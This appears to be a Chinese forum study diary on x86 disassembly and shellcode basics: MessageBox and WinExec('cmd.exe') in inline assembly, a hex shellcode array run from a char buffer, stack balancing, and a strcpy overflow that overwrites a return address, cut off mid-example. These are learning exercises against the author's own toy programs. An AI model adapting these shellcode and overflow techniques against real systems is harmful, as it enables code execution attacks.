安全矩阵

 找回密码
 立即注册
搜索
查看: 564|回复: 25

罗娇燕的学习日记

[复制链接]

18

主题

43

帖子

162

积分

注册会员

Rank: 2

积分
162
发表于 2020-2-18 09:05:38 | 显示全部楼层 |阅读模式
本帖最后由 Xor0ne 于 2020-2-20 22:55 编辑

几经波折,终于登上来了。

首先由于前段时间不在线导致现在的进度不是很好的可以衔接上,我有必要先把前面的与shellcode相关的重新学习一遍。在QQ上面发现,与shellcode最近的便是MessageBox()函数的反汇编,所以接下来我的学习日记便从MessageBox()的调用开始吧。
PS:由于之前在登陆出了点小问题,所以最开始文章是写在CSDN博客上面,然后复制过来的,可能格式会发生一点错误。
在此附上博客链接:https://blog.csdn.net/weixin_43901038/article/details/104364650
MessageBox调用--Shellcode
首先,拓展一下寄存器简括:
参考链接:https://www.cnblogs.com/zys-simon/p/9221384.html
C语言MessageBox()函数简单调用:
源代码:MessageBox()函数拓展:
MessageBoxA函数是Windows系统提供的API函数,需要引入user32.lib这个库,同时还需要手动声明一下函数原型。MessageBoxA函数中最后一个参数为对话框风格,通过设置这个参数不同值,可以实现显示MessageBoxA的不同组态。具体参数含义可以参考微软官方手册。链接地址:https://docs.microsoft.com/zh-cn ... -winuser-messagebox
  1. <blockquote>#include<stdio.h>
复制代码

反汇编查看汇编代码:
(1)、printf函数:
  1. <blockquote>6:        printf("begin\n");
复制代码

拓展:
call/ret指令:
参考链接:https://blog.csdn.net/u014421422/article/details/79471396
举例:求两个数的和
拓展:
esp是栈指针,是cpu机制决定的,push、pop指令会自动调整esp的值;
ebp只是存取某时刻的esp,这个时刻就是进入一个函数内后,cpu会将esp的值赋给ebp,此时就可以通过ebp对栈进行操作,比如获取函数参数,局部变量等。
首先,将3和4压入堆栈,
  1. <blockquote>    push 3
复制代码


执行call指令前:(如图)
其中ESP为x86CPU使用的堆栈指针,每进行一次入栈操作,ESP要减4(32位CPU)(图上堆栈向上地址减小,向下地址增加) 明显的是,add_num只需要把堆栈中相应的变量取出来使用就可以了。堆栈参数传递的确也是这么做,但是却要稍稍费事一点。

给出add_num过程:
  1. <blockquote>
复制代码


指令:
  1. call add_num
复制代码

执行call add_num时,ESP减4后将add_num过程的返回地址压入堆栈,即当前指令指针EIP的值(该值为主程序中call指令的下一条指令(不是push ebp)的地址)

-
  1. <div>push ebp </div><div>;将esp的值赋予ebp。而将ebp压入堆栈是为了保护ebp,在add_num过程结束后还要恢复ebp的值。</div><div> </div><div>mov ebp,esp </div><div>;此时esp指向堆栈中的ebp,而将esp赋予ebp后,ebp便指向了堆栈中自己被保护的值。此时ebp的主要作用是为参数读取提供绝对地址。比如参数4比ebp所在地址高8Byte(堆栈一个单元是4Byte),则过程中要使用参数4时,使用基址-偏移量寻址即可,即[ebp+8]。</div><div> </div><div>mov eax,[ebp+8] </div><div>add eax,[ebp+12]</div>
复制代码


此时已经进入了add_num过程了。


  1. <div>pop ebp;</div><div>此时ebp弹出,ebp恢复调用前的值</div>
复制代码


  1. ret;最后弹出返回地址,程序返回到主程序中并执行下一条指令
复制代码



  1. <div><span style="background-color: rgb(255, 255, 255);">c</span>all 标号</div><div>1.将下一条指令的偏移地址入栈</div><div>2.转到标号出执行指令ret将栈顶的值出栈,赋值给IP</div>
复制代码

(2)、MessageBox()函数:
  1. 7:        ::MessageBox(NULL,"test shellcode","test",MB_OK);//test shellcode是弹框内容,test是弹框名字


  2. 00401035 8B F4                mov         esi,esp
  3. ;esi指向栈顶,在函数调用前用esi保留esp寄存器

  4. 00401037 6A 00                push        0            ;传参,默认遵从__cdecl调用规则
  5. 00401039 68 2C 20 42 00       push        offset string "test" (0042202c)
  6. 0040103E 68 CC 2F 42 00       push        offset string "test shellcode" (00422fcc)
  7. 00401043 6A 00                push        0
  8. 00401045 FF 15 AC A2 42 00    call        dword ptr [__imp__MessageBoxA@16 (0042a2ac)]
  9. ;取iat表中的函数地址,调用。

  10. 0040104B 3B F4                cmp         esi,esp
  11. 0040104D E8 BE 00 00 00       call        __chkesp (00401110)
  12. ;用于检测堆栈是否被破坏,只在调试阶段存在,发行版本不存在。
复制代码

代码:mov esi esp具体解析:


  1. 00401037 6A 00                push        0
  2. 00401039 68 2C 20 42 00       push        offset string "test" (0042202c)
  3. 0040103E 68 CC 2F 42 00       push        offset string "test shellcode" (00422fcc)
  4. 00401043 6A 00                push        0
  5. 00401045 FF 15 AC A2 42 00    call        dword ptr [__imp__MessageBoxA@16 (0042a2ac)]
复制代码

如上代码类似于:
  1. MessageBox(NULL,"test shellcode","test",MB_OK);<img width="15" _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" border="0" alt="" style="background-color: rgb(255, 255, 255);">
复制代码
即将Messagebox的对应的参数元素倒序逐一push压入栈中,(即MB_OK先入栈,然后“test”,“test shellcode”,并且由汇编可知,字符串机器码也是倒叙)
  1. call        dword ptr [__imp__MessageBoxA@16 (0042a2ac)]   ;取iat表中的函数地址,调用。<img width="15" _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" border="0" alt="">
复制代码
这里的call 用来调用子过程,跳转到子程序,dword指的是双字型,ptr是将左边的类型(dword)赋给右边的变量,(类似于interesting i),【】中的0042a2ac是一个内存地址,即我们要调用的子过程的首地址。

拓展:
(1)、IAT的全称是Import Address Table。
IAT表是执行程序或者dll为了实现动态加载和重定位函数地址,用到的一个导入函数地址表。这里面记录了每个导入函数的名字和所在的dll名称,在pe加载的时候系统会加载这些dll到用户的地址空间然后把函数地址覆盖这个表里的函数地址,然后重构所有用到这个表的代码,让其调用直接指向实际函数地址(PE是否覆盖不确定,驱动会这么做),PE的IAT表会留在内存,驱动的就丢弃了。
参考链接:https://www.cnblogs.com/gd-luojialin/p/7581106.html
(2)、WiINAPI是一个宏名,定义如下:
  1. #define WINAPI _stdcall;
复制代码


而std_call是新标准c/c++函数的调用方法,他是采用自动清栈的方式,而标准c调用(_cdecl方法,cdecl是C declare的缩写)采用的是手工清栈的方式。
参考链接:https://blog.csdn.net/lisfaf/article/details/98990043
  1. 0040104B 3B F4                cmp         esi,esp
  2. 0040104D E8 BE 00 00 00       call        __chkesp (00401110)
复制代码

cmp指令是减法操作,操作之后会设置标志位寄存器所以也就是判断指令,注意进行减法运算后并不会对两个寄存器里的值产生任何影响,结果会存放到通用寄存器当中,并根据通用寄存器的值来设置标志位!
__RTC_CheckEsp函数是检查某内存缓冲区是否溢出的。调用此函数检查00401110h内存缓冲区是否溢出!(VC++编译器在每个API函数调用用后都会生成一个call _chkesp,调试版才有)
绕过 _chkesp函数检查:https://blog.csdn.net/lixiangminghate/article/details/46612119
汇编语言:方法一:
      
  1. <blockquote><span style="white-space:pre">        </span>char* a = "test shellcode";
复制代码

方法二:
     
  1. char* a = "test shellcode";
  2.         char* b = "test";
  3.         _asm
  4.         {
  5.                 push MB_OK
  6.                 push b
  7.                 push a
  8.                 push 0
  9.                 mov eax,7666EA71h; // 假设 0x7666EA71 是 MessageBoxA 的地址
  10.                 call eax  
  11.         }
复制代码

方法三:
  1. // test0218——5.cpp : Defines the entry point for the console application.
  2. //

  3. #include "stdafx.h"
  4. #include <windows.h>
  5. #include<stdlib.h>

  6. int main(int argc, char* argv[])
  7. {
  8.         printf("Hello World!\n");

  9.         LoadLibraryA("user32.dll");  //载入指定的动态链接库,并将它映射到当前进程使用的地址空间。一旦载入,即可访问库内保存的资源
  10.         HMODULE hmd=GetModuleHandleW(L"user32.dll"); //hmd就是user32.dll在这个实例的内存基址
  11.         ULONG addr=(ULONG)GetProcAddress(hmd,"MessageBoxA"); //hmd就是user32.dll在这个实例的内存基址

  12.         
  13.         char* aa="这是内联汇编,哈哈!";
  14.         char* bb="提示";    //aa bb是2个字符串的首地址

  15.         //MessageBoxA(0,aa,bb,MB_OK|MB_ICONINFORMATION); //如果取消屏蔽你会看到一模一样的弹框
  16.         __asm
  17.         {
  18.                     push 0x40 //最后一个参数
  19.                         mov eax,bb //标题
  20.                         push eax
  21.                         mov eax,aa //内容
  22.                         push eax
  23.                     push 0   //句柄
  24.                     mov eax,addr //messagebox的地址,我们不能直接call addr要给他放一个寄存器里面再call寄存器这样一个过程就完成了
  25.                     call eax  //call这个地址

  26.         }

  27.         system("pause");
  28.         return 0;
  29. }
复制代码


错误示例:以下采用的是lea指令,可以弹框,但是弹出我们制定好的内容
     
  1. <blockquote><span style="white-space:pre">        </span>char* a = "test shellcode";
复制代码


shellcode 的提取:参考链接:https://www.cnblogs.com/manu18/articles/9445130.html
理解:指一组计算机能直接执行(不需要点击和编译),实现我们想要功能的机器代码,通常以十六进制数组的形式存在。
(1)、弹出MessageBox()源代码:
  1. // 2.cpp : Defines the entry point for the console application.
  2. //

  3. #include "stdafx.h"
  4. #include "stdio.h"
  5. #include "windows.h"

  6. char shellcode[]="\x90\x90\x90\x33\xDB\x53\x68\x64\x63\x62\x61\x68\x68\x67\x66\x65\x8B\xC4\x53\x50\x50\x53\xB8\xEA\x07\xD5\x77\xFF\xD0";
  7. int main(int argc, char* argv[])
  8. {
  9.         printf("begin\n");
  10.     HINSTANCE libHandle;
  11.         char *dll="user32.dll";
  12.     libHandle=LoadLibrary(dll);
  13. /*
  14.         __asm
  15.    {
  16.           sub sp,0x454
  17.           xor ebx,ebx
  18.           push ebx
  19.           push 0x61626364
  20.           push 0x65666768
  21.           mov  eax,esp
  22.           push ebx
  23.           push eax
  24.           push eax
  25.           push ebx
  26.           mov  eax,0x77d507ea
  27.           call eax
  28.          
  29.    }

  30. */
  31.         __asm
  32.         {
  33.           lea eax,shellcode
  34.           push eax
  35.           ret

  36.         }

  37.         return 0;
  38. }
复制代码

代码解析:

  1. sub sp, 0x454<img width="15" _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" border="0" alt="" style="background-color: rgb(255, 255, 255);">
复制代码
给栈区分配一段空间
  1. xor ebx, ebx<img width="15" _height="15" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" border="0" alt="" style="background-color: rgb(255, 255, 255);">
复制代码
将ebx清零
  1.    push ebx                ;esp-4,作为字符串的的最后一个‘\0’字符
  2.           push 0x61626364         ;元素入栈“abcdefgh”
  3.           push 0x65666768
  4.           mov  eax,esp            ;将栈顶指针赋值给eax
复制代码
  1.       push ebx          ;元素入栈,实现MessageBox()的功能                  
  2.           push eax
  3.           push eax
  4.           push ebx
  5.           mov  eax,0x77d507ea     
  6.           call eax
复制代码




回复

使用道具 举报

18

主题

43

帖子

162

积分

注册会员

Rank: 2

积分
162
 楼主| 发表于 2020-4-19 18:21:06 | 显示全部楼层
本帖最后由 Xor0ne 于 2020-4-19 18:23 编辑

发现文章似乎有点太乱,额,,这个纯属意外,明天把内容填上。
回复

使用道具 举报

18

主题

43

帖子

162

积分

注册会员

Rank: 2

积分
162
 楼主| 发表于 2020-2-18 23:24:14 | 显示全部楼层
MessageBox()函数之弹出cmd.exe及堆栈平衡

## shellcode 的提取:
参考链接:https://www.cnblogs.com/manu18/articles/9445130.html

理解:指一组计算机能直接执行(不需要点击和编译),实现我们想要功能的机器代码,通常以十六进制数组的形式存在。

#### (1)、弹出MessageBox()
###### 源代码1:


```c
// 2.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include "stdio.h"
#include "windows.h"

char shellcode[]="\x90\x90\x90\x33\xDB\x53\x68\x64\x63\x62\x61\x68\x68\x67\x66\x65\x8B\xC4\x53\x50\x50\x53\xB8\xEA\x07\xD5\x77\xFF\xD0";
int main(int argc, char* argv[])
{
        printf("begin\n");
    HINSTANCE libHandle;
        char *dll="user32.dll";
    libHandle=LoadLibrary(dll);
/*
        __asm
   {
          sub sp,0x454
          xor ebx,ebx
          push ebx
          push 0x61626364
          push 0x65666768
          mov  eax,esp
          push ebx
          push eax
          push eax
          push ebx
          mov  eax,0x77d507ea
          call eax
         
   }

*/
        __asm
        {
          lea eax,shellcode
          push eax
          ret

        }

        return 0;
}

```

代码解析:

```java
sub sp, 0x454
```

给栈区分配一段空间

```java
xor ebx, ebx
```

将ebx清零

        

```java
  push ebx                ;esp-4,作为字符串的的最后一个‘\0’字符
          push 0x61626364         ;元素入栈“abcdefgh”
          push 0x65666768
          mov  eax,esp            ;将栈顶指针赋值给eax
      push ebx          ;元素入栈,实现MessageBox()的功能                  
          push eax
          push eax
          push ebx
          mov  eax,0x77d507ea     
          call eax
```

实验MessageBox()功能。然后反汇编,将机器码保存,每个机器码前面加上‘\x’ 代表十六进制。

######  源代码2:
这个用的是另外一种调用函数messagebox()的方法,不需要确定他在计算机中的地址,而是通过messagebox在动态链接库user.dll中的内存基址来进行调用。

```c
// test0218——5.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <windows.h>
#include<stdlib.h>

int main(int argc, char* argv[])
{
        printf("Hello World!\n");

        LoadLibraryA("user32.dll");  //载入指定的动态链接库,并将它映射到当前进程使用的地址空间。一旦载入,即可访问库内保存的资源
        HMODULE hmd=GetModuleHandleW(L"user32.dll"); //hmd就是user32.dll在这个实例的内存基址
        ULONG addr=(ULONG)GetProcAddress(hmd,"MessageBoxA"); //hmd就是user32.dll在这个实例的内存基址

        
        char* aa="这是内联汇编,哈哈!";
        char* bb="提示";    //aa bb是2个字符串的首地址

        //MessageBoxA(0,aa,bb,MB_OK|MB_ICONINFORMATION); //如果取消屏蔽你会看到一模一样的弹框
        __asm
        {
                    push 0x40 //最后一个参数
                        mov eax,bb //标题
                        push eax
                        mov eax,aa //内容
                        push eax
                    push 0   //句柄
                    mov eax,addr //messagebox的地址,我们不能直接call addr要给他放一个寄存器里面再call寄存器这样一个过程就完成了
                    call eax  //call这个地址

        }

        system("pause");
        return 0;
}


```



####   (2)、弹出cmd程序
**拓展:**

> HINSTANCE 是“句柄型”数据类型。相当于装入到了内存的资源的ID。HINSTANCE对应的资源是instance.句柄实际上是一个
> 无符号长整数。 Handle 是代表系统的内核对象,如文件句柄,线程句柄,进程句柄。 HMODULE
> 是代表应用程序载入的模块,win32系统下通常是被载入模块的线性地址。 HINSTANCE
> 在win32下与HMODULE是相同的东西,在Win32下还存在主要是因为win16程序使用HINSTANCE来区别task。

###### winexec函数
这个函数和system()非常类似,只能运行.EXE文件,这样在WINDOWS中有它不尽人意的地方,比如不能用此方法通过关联的方法打开文件,例如WinExec("1.html",SW_SHOWNA);就不能打开此文档
WinExec() 函数原型:
UINT WinExec(LPCSTR lpCmdLine,UINT uCmdShow);
参数说明:(激活的意思是能接受焦点,即标题栏变成蓝色)
lpCmdLine:以0结尾的字符串,命令行参数。
uCmdShow:新的应用程序的运行方式。取值如下:
>>SW_HIDE 隐藏
SW_MAXIMIZE 最大化
SW_MINIMIZE 最小化,并把Z order顺序在此窗口之后(即窗口下一层)的窗口激活
SW_RESTORE 激活窗口并还原为初始化大小 SW_SHOW 以当前大小和状态激活窗口
SW_SHOWDEFAULT 以默认方式运行
SW_SHOWMAXIMIZED 激活窗口并最大化
SW_SHOWMINIMIZED 激活窗口并最小化
SW_SHOWMINNOACTIVE 最小化但不改变当前激活的窗口
SW_SHOWNA 以当前状态显示窗口但不改变当前激活的窗口
SW_SHOWNOACTIVATE 以初始化大小显示窗口但不改变当前激活的窗口
SW_SHOWNORMAL 激活并显示窗口,如果是最大(小)化,窗口将会还原。第一次运行程序 时应该使用这个值
比如说,我想要用记事本打开"C:\HDC.TXT",以正常方式运行:
WinExec("notepad c:\\hdc.txt",SW_SHOWNORMAL);
如果调用成功,这个函数会返回一个不小于31的值,否则调用失败,其返回值的意义如下:
0 系统内存或资源不足
ERROR_BAD_FORMAT .EXE文件格式无效(比如不是32位应用程序)
ERROR_FILE_NOT_FOUND 指定的文件设有找到
ERROR_PATH_NOT_FOUND 指定的路径没有找到


弹出cmd.exe程序:
###### C语言代码:
```c
#include "stdafx.h"
#include<windows.h>

int main(int argc, char* argv[])
{
        printf("Hello World!\n");
        HINSTANCE libHandle;
        char* dll = "kernel32.dll";
        libHandle = LoadLibrary(dll);
        //载入指定的动态链接库,并将它映射到当前进程使用的地址空间。一旦载入,即可访问库内保存的资源
        WinExec("cmd.exe",SW_SHOW);
        return 0;
}
```
###### 反汇编总体:
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)
由上可发现,WinExec函数的执行类似与MessageBox()函数,即先将参数倒序push入栈,然后再利用 call 指令调用api

```java
13:       WinExec("cmd.exe",SW_SHOW);
00401052 8B F4                mov         esi,esp
00401054 6A 05                push        5
00401056 68 1C 20 42 00       push        offset string "cmd.exe" (0042201c)
0040105B FF 15 4C A1 42 00    call        dword ptr [__imp__WinExec@8 (0042a14c)]
00401061 3B F4                cmp         esi,esp
00401063 E8 C8 00 00 00       call        __chkesp (00401130)
```

以上为Winexec()函数的具体实现。

#####  汇编代码:
###### 方法一:add esp,4平衡堆栈
```c
int main(int argc, char* argv[])
{
        printf("Hello World!\n");
        HINSTANCE libHandle;
        char* dll = "kernel32.dll";
        libHandle = LoadLibrary(dll);

//        WinExec("cmd.exe",SW_SHOW);
        char* code="cmd.exe";
        _asm{
                xor ebx, ebx
                push 5                ;5 = SW_SHOW
                push ebx
                mov eax, code
                push eax
                call dword ptr [WinExec]
                add esp,4 ;堆栈平衡了
        }
        return 0;
}
```
在此,我们运用“add asp 4”,进行堆栈的平衡。然后
原理:
首先push入栈前,如下图:
![在这里插入图片描述]()
执行完第一次入栈 “ push 5 ” 后,ESP = ESP - 4 = 0012FF24
![在这里插入图片描述]()
执行所以push语句,即在执行call之前。

```java
                push 5                ;5 = SW_SHOW
                push ebx
                mov eax, code
                push eax
                call dword ptr [WinExec]
```
ESP = 0012FF1C
![在这里插入图片描述]()
接下来开始执行call 调用函数,ESP = 0012FF24,与执行完第一个push语句一样,因此我们可以发现,winexec()函数又两个参数,而call执行winexec()函数时,清理堆栈且刚好将两个元素清理出了堆栈,即esp+8,但是我们之前有三个push语句,即esp -12,而 -12 + 8 = -4,因此esp还需要 +4,所以在最后平衡堆栈的时候我们只需要让 esp + 4 即可,即 add esp, 4
![在这里插入图片描述]()
######  方法二:mov esp,0x450找到原来的位置清理堆栈
这个是之前学长的,怎么说呢,我的理解是它主要找到 esp 原来的位置,然后用 mov 指令直接将原来的 esp 地址赋值给esp,但是这个随机性可能有点大,并且在不同的计算机运行地址可能不一样,因此。。。。
参考链接:https://blog.csdn.net/qq_41683305/article/details/104236403

```c
#include "stdio.h"
#include "windows.h"
{
        printf("begin\n");
    HINSTANCE libHandle;
        char *dll="kernel32.dll";
    libHandle=LoadLibrary(dll);
        char *str="cmd.exe";
        //WinExec("cmd.exe",SW_SHOW);

        __asm{
                sub esp,0x454
                xor ebx,ebx
                push ebx
                mov eax,str
                push 5                                ;5=SW_SHOW
                push eax
                call dword ptr [WinExec]
                mov esp,0x450
        }
        return 0;
}
```



回复

使用道具 举报

18

主题

43

帖子

162

积分

注册会员

Rank: 2

积分
162
 楼主| 发表于 2020-2-18 23:26:34 | 显示全部楼层
C语言汇编(一)
----选择语句

## 1、选择语句
#### (1)、if语句
**示例代码:**

```cpp
#include "stdafx.h"

int main(int argc, char* argv[])
{
        printf("Hello World!\n");

        int a,b,temp;
        a = 4;
        b = 3;
        if( a < b )
        {
                //将a和b的值互换
                temp = a;
                a = b;
                b = temp;
        }
        
        printf("%d=%d",a,b);

        printf("end\n");
        return 0;
}
```


**总体反汇编代码:**

```bash
10:       int a,b,temp;
11:       a = 4;
0040F9C5 C7 45 FC 04 00 00 00 mov         dword ptr [ebp-4],4
12:       b = 3;
0040F9CC C7 45 F8 03 00 00 00 mov         dword ptr [ebp-8],3
13:       if( a > b )
0040F9D3 8B 45 FC             mov         eax,dword ptr [ebp-4]
0040F9D6 3B 45 F8             cmp         eax,dword ptr [ebp-8]
0040F9D9 7E 12                jle         main+4Dh (0040f9ed)
14:       {
15:           //将a和b的值互换
16:           temp = a;
0040F9DB 8B 4D FC             mov         ecx,dword ptr [ebp-4]
0040F9DE 89 4D F4             mov         dword ptr [ebp-0Ch],ecx
17:           a = b;
0040F9E1 8B 55 F8             mov         edx,dword ptr [ebp-8]
0040F9E4 89 55 FC             mov         dword ptr [ebp-4],edx
18:           b = temp;
0040F9E7 8B 45 F4             mov         eax,dword ptr [ebp-0Ch]
0040F9EA 89 45 F8             mov         dword ptr [ebp-8],eax
19:       }
20:
21:       printf("%d=%d",a,b);
0040F9ED 8B 4D F8             mov         ecx,dword ptr [ebp-8]
0040F9F0 51                   push        ecx
0040F9F1 8B 55 FC             mov         edx,dword ptr [ebp-4]
0040F9F4 52                   push        edx
0040F9F5 68 18 60 42 00       push        offset string "%d<%d" (00426018)
0040F9FA E8 11 17 FF FF       call        printf (00401110)
0040F9FF 83 C4 0C             add         esp,0Ch

```

分步解析:

```java
10:       int a,b,temp;
11:       a = 4;
0040F9C5 C7 45 FC 04 00 00 00 mov         dword ptr [ebp-4],4
12:       b = 3;
0040F9CC C7 45 F8 03 00 00 00 mov         dword ptr [ebp-8],3
```

如上代码可见,在定义变量时并没有为变量分配空间,而是赋值的时候分配。例如
```java
11:       a = 4;
0040F9C5 C7 45 FC 04 00 00 00 mov         dword ptr [ebp-4],4

将a的值mov如一个内存单元中。

13:       if( a > b )
0040F9D3 8B 45 FC             mov         eax,dword ptr [ebp-4]
0040F9D6 3B 45 F8             cmp         eax,dword ptr [ebp-8]
0040F9D9 7E 12                jle         main+4Dh (0040f9ed)
```
首先是将存储a值的内存单元赋值给寄存器eax,然后将eax与存储b值的内存单元进行cmp比较。(为什么不直接cmp 两个内存单元呢?因为cmp指令不同同时比较两个内存单元)
当jle(小于或等于)时(即a<=b),跳转到 “main+4Dh”内存单元,从main开始向后偏移4Dh个地址(即内存单元(0040f9ed) ),刚好是 if {} 代码块的下一条指令。
因此,当 a<=b 时,程序跳过 if代码块执行下一条语句。

```java
15:           //将a和b的值互换
16:           temp = a;
0040F9DB 8B 4D FC             mov         ecx,dword ptr [ebp-4]
0040F9DE 89 4D F4             mov         dword ptr [ebp-0Ch],ecx
17:           a = b;
0040F9E1 8B 55 F8             mov         edx,dword ptr [ebp-8]
0040F9E4 89 55 FC             mov         dword ptr [ebp-4],edx
18:           b = temp;
0040F9E7 8B 45 F4             mov         eax,dword ptr [ebp-0Ch]
0040F9EA 89 45 F8             mov         dword ptr [ebp-8],eax
```
上面为交换两个数的代码,可知,之前没有被赋值即没有分配内存空间的temp顺位分配到【ebp-0Ch】的内存单元中了。并且每次变量赋值时,都是先将一个变量赋值给寄存器,然后再将寄存器的值赋给另外一个变量。

##### if综述:
例如:if(a>b)语句,先将a赋值给寄存器,然后将寄存器与存储b相关的值进行cmp比较,jle(小于等于)的的话,就直接跳到 if代码块的下一个执行语句。(如果为if( a<b ),那么跳转语句为 jge(大于等于) ,如果是if(a=b),那么跳转语句为je(等于))

> 跳转指令机器码:
直接跳 JMP EB   八位
直接跳 JMP E9   十六位
直接标志转移(8位寻址)
指令格式 机器码 测试条件 如…则转移  
指令格式 机器码 测试条件 如…则转移
JC 72 C=1 有进位 JNS 79 S=0 正号
JNC 73 C=0 无进位 JO 70 O=1 有溢出
JZ/JE 74 Z=1 零/等于 JNO 71 O=0 无溢出
JNZ/JNE 75 Z=0 不为零/不等于 JP/JPE 7A P=1 奇偶位为偶

汇编代码实现:

```cpp
#include "stdafx.h"

int main(int argc, char* argv[])
{
        printf("Hello World!\n");
        char* str = "a=%d,b=%d\n";
        
        _asm{
                push 4
                push 3
                mov eax, [esp+4]
                mov ebx, [esp+0]
                cmp eax, ebx
                jge swap               
                xchg eax, ebx
               
swap:        push ebx
                push eax
                push str
                call printf
                add esp, 12
                jmp end
               
end:        nop

        }

        /*
        int a,b,temp;
        a = 4;
        b = 3;
        if( a < b )
        {
                //将a和b的值互换
                temp = a;
                a = b;
                b = temp;
        }
        */
//        printf("%d=%d",a,b);

        printf("end\n");
        return 0;
}
```
####  (2)、if--else语句
示例代码:

```java

```cpp
int main(int argc, char* argv[])
{
        printf("Hello World!\n");

        int a;
        a = 4;
        if( a < 5 )
        {
                a = 5;
        }
        else
                a = 10;
        
        printf("%d\n",a);
        printf("end\n");
        return 0;
}
```


总体反汇编:

```java
10:       int a;
11:       a = 4;
0040F9C5 C7 45 FC 04 00 00 00 mov         dword ptr [ebp-4],4
12:       if( a < 5 )
0040F9CC 83 7D FC 05          cmp         dword ptr [ebp-4],5
0040F9D0 7D 09                jge         main+3Bh (0040f9db)
13:       {
14:           a = 5;
0040F9D2 C7 45 FC 05 00 00 00 mov         dword ptr [ebp-4],5
15:       }
16:       else
0040F9D9 EB 07                jmp         main+42h (0040f9e2)
17:           a = 10;
0040F9DB C7 45 FC 0A 00 00 00 mov         dword ptr [ebp-4],0Ah
18:
19:       printf("%d\n",a);
0040F9E2 8B 45 FC             mov         eax,dword ptr [ebp-4]
0040F9E5 50                   push        eax
0040F9E6 68 24 50 42 00       push        offset string "a=%d,b=%d\n" (00425024)
0040F9EB E8 20 17 FF FF       call        printf (00401110)
0040F9F0 83 C4 08             add         esp,8
20:
```

```java
12:       if( a < 5 )
0040F9CC 83 7D FC 05          cmp         dword ptr [ebp-4],5
0040F9D0 7D 09                jge         main+3Bh (0040f9db)
```

由上面汇编可知,在 if(a<5) 时,类似于一个单独的 if 语句,cmp进行条件比较,jge进行对应条件的转移地址。

```java
16:       else
0040F9D9 EB 07                jmp         main+42h (0040f9e2)
```
如上为else反汇编语句,简答的一个jmp跳址,刚好 跳出else代码块。
综述:if - else语句其实就是先cmp条件比较,然后 jge决定是否符合条件(类似于 if条件语句);而else语句就是一个简单的 jmp 语句,用来跳出 else 代码块。

####  (3)、if-else if -else语句
示例代码:

```c
int main(int argc, char* argv[])
{
        printf("Hello World!\n");

        int a;
        a = 4;
        if( a < 5 )
        {
                a = 5;
        }
        else if(a = 5)
                a = 5;
        else
                a = 10;
        
        printf("%d\n",a);

        printf("end\n");
        return 0;
}
```

总体反汇编:
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)
由上可知:if - else if - else语句:
第一个 if(a<5) 语句:首先先cmp进行条件比较,然后 jge 判断是否符合条件。
而第二个else if( a=5 )语句:可以分解成else + if( a=5 ),所以反汇编代码第一句类似于else 为 jmp+地址,当满足if条件时,则执行if代码块,只有当执行完if代码块后,才会开始执行else语句,而else汇编代码为jmp+地址,所以便直接跳出了else if和后面的else代码块,然后执行最后的printf语句。


回复

使用道具 举报

18

主题

43

帖子

162

积分

注册会员

Rank: 2

积分
162
 楼主| 发表于 2020-2-20 08:59:04 | 显示全部楼层

Strcpy()函数之溢出定地址

本帖最后由 Xor0ne 于 2020-2-20 22:37 编辑
文章目录
一、strcpy()函数简介
首先附上一个strcpy()函数简单的溢出示例
代码分析
二、strcpy()函数溢出并定位到需要执行的代码地址
最终代码示例
知识前提:
溢出查找
溢出测试代码:

### 一、strcpy()函数简介
##### 首先附上一个strcpy()函数简单的溢出示例
参考链接:https://blog.csdn.net/yahohi/article/details/7724669

```c
// test0219_2.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include "string.h"

int main(int argc, char* argv[])
{
        printf("Hello World!\n");
        
        char s[]="123456789";
        char d[]="888";
        strcpy(d,s);
        printf("result: %s, \n%s\n",d,s);

        return 0;
}
```
#####  代码分析
首先,将 s[] 中分为三次存入内存单元,首先将1234放入【ebp - 0Ch】开始的内存单元,然后5678放入【ebp - 8h】开始的内存单元,9+字符串结束符 “ \0 ” 。
汇编情况如下:
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)
堆栈情况:可以发现123456789按顺序进入了内存单元(从右至左依次进入高内存地址单元),然后第二个内存单元进入低地址内存单元即两个字符串依次入栈)。 并且可以发现字符串最后的截至字符 “ \0 ” 在内存单元中为一个 “ . ” 点字符。
![在这里插入图片描述]()
然后,我们可以发现 s= "123456789" 和 d = "888"存在一段的内存单元,顺序为:d + s , 即在内存中的数据为【888. 123456789. 】
如果我们将字符串S拷贝给d,那么d内存单元将会产生溢出,溢出的地址将会覆盖后面的数据(即字符串S的数据)。如下为溢出的覆盖内存空间。
![在这里插入图片描述]()
以下是strcpy()函数的调用情况,可以看出 strcpy(d,s) 函数是先用 lea 将 s的首地址赋给ecx,然后将ecx的值push入栈,类似的后面将d的首地址赋值给edx,然后将edx的值入栈,之后调用call调用strcpy()函数,并且发现堆栈中ebp,esp的值没有发生变化,因此需要用add esp,8 平衡堆栈。
![在这里插入图片描述]()
以下是溢出拷贝后的输出情况。
![在这里插入图片描述]()
###  二、strcpy()函数溢出并定位到需要执行的代码地址
参考链接:https://www.cnblogs.com/Jimmy009/p/hsStackFlow.html

#####  最终代码示例

```c
// test0219_2.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include "string.h"

void foo(){
    printf("哈哈,我是被strcpy缓冲溢出的地方");
}

int main(int argc, char* argv[])
{
        printf("Hello World!\n");
        
         char output[8];
         char name[] = "adcdefghijkl\x1E\x10\x40\x00";
